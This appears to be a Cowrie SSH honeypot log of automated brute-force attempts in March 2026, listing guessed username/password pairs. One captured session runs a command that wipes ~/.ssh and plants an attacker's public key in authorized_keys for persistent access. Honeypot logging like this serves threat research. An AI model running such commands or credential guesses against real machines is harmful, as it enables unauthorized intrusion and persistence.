{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:05.314717Z","src_ip":"2.57.122.208","session":"5ebbe30b5398","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:06.112265Z","src_ip":"2.57.122.208","session":"5ebbe30b5398","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:07.312197Z","src_ip":"2.57.122.208","session":"5ebbe30b5398","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":36200,"dst_ip":"159.203.135.109","dst_port":22,"session":"2442383098b3","protocol":"ssh","message":"New connection: 49.49.239.64:36200 (159.203.135.109:22) [session: 2442383098b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:21.090730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:21.094867Z","src_ip":"49.49.239.64","session":"2442383098b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:21.351548Z","src_ip":"49.49.239.64","session":"2442383098b3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"zxasqw12","message":"login attempt [root/zxasqw12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:22.408733Z","src_ip":"49.49.239.64","session":"2442383098b3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:22.953216Z","src_ip":"49.49.239.64","session":"2442383098b3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:22.955606Z","src_ip":"49.49.239.64","session":"2442383098b3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:22.958601Z","src_ip":"49.49.239.64","session":"2442383098b3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:23.217780Z","src_ip":"49.49.239.64","session":"2442383098b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.233.116.124","src_port":38426,"dst_ip":"159.203.135.109","dst_port":22,"session":"966fcda797c2","protocol":"ssh","message":"New connection: 68.233.116.124:38426 (159.203.135.109:22) [session: 966fcda797c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:23.243398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:23.246815Z","src_ip":"68.233.116.124","session":"966fcda797c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e13ba222a14b8b916c6c32f9fd6aec5d","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: e13ba222a14b8b916c6c32f9fd6aec5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:23.475359Z","src_ip":"68.233.116.124","session":"966fcda797c2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:23.804742Z","src_ip":"49.49.239.64","session":"2442383098b3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:23.808298Z","src_ip":"49.49.239.64","session":"2442383098b3","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:24.071091Z","src_ip":"49.49.239.64","session":"2442383098b3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:24.074535Z","src_ip":"49.49.239.64","session":"2442383098b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":36202,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1025536160b","protocol":"ssh","message":"New connection: 49.49.239.64:36202 (159.203.135.109:22) [session: f1025536160b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:24.322356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:24.327042Z","src_ip":"49.49.239.64","session":"f1025536160b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"znc","password":"Znc123!","message":"login attempt [znc/Znc123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:24.422839Z","src_ip":"68.233.116.124","session":"966fcda797c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:24.583058Z","src_ip":"49.49.239.64","session":"f1025536160b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:25.638719Z","src_ip":"49.49.239.64","session":"f1025536160b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:25.653844Z","src_ip":"68.233.116.124","session":"966fcda797c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:26.896936Z","src_ip":"49.49.239.64","session":"f1025536160b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":36204,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a558db0752b","protocol":"ssh","message":"New connection: 49.49.239.64:36204 (159.203.135.109:22) [session: 6a558db0752b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:27.150449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:27.154883Z","src_ip":"49.49.239.64","session":"6a558db0752b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:27.411255Z","src_ip":"49.49.239.64","session":"6a558db0752b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:28.466145Z","src_ip":"49.49.239.64","session":"6a558db0752b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:28.724938Z","src_ip":"49.49.239.64","session":"6a558db0752b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:28.729828Z","src_ip":"49.49.239.64","session":"2442383098b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"93.71.118.99","src_port":36018,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b537886c31b","protocol":"ssh","message":"New connection: 93.71.118.99:36018 (159.203.135.109:22) [session: 3b537886c31b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:32.725239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:32.730811Z","src_ip":"93.71.118.99","session":"3b537886c31b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:32.949871Z","src_ip":"93.71.118.99","session":"3b537886c31b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fox","password":"fox1234","message":"login attempt [fox/fox1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:34.036353Z","src_ip":"93.71.118.99","session":"3b537886c31b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:35.360125Z","src_ip":"93.71.118.99","session":"3b537886c31b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":44892,"dst_ip":"159.203.135.109","dst_port":22,"session":"5310dc4fc8a6","protocol":"ssh","message":"New connection: 68.183.236.1:44892 (159.203.135.109:22) [session: 5310dc4fc8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:39.169184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:39.172293Z","src_ip":"68.183.236.1","session":"5310dc4fc8a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:39.416383Z","src_ip":"68.183.236.1","session":"5310dc4fc8a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":37030,"dst_ip":"10.17.0.5","dst_port":22,"session":"a40b74558959","protocol":"ssh","message":"New connection: 103.134.154.36:37030 (10.17.0.5:22) [session: a40b74558959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:39.809590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:39.813685Z","src_ip":"103.134.154.36","session":"a40b74558959","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:34:40.041433Z","src_ip":"103.134.154.36","session":"a40b74558959","protocol":"ssh"}
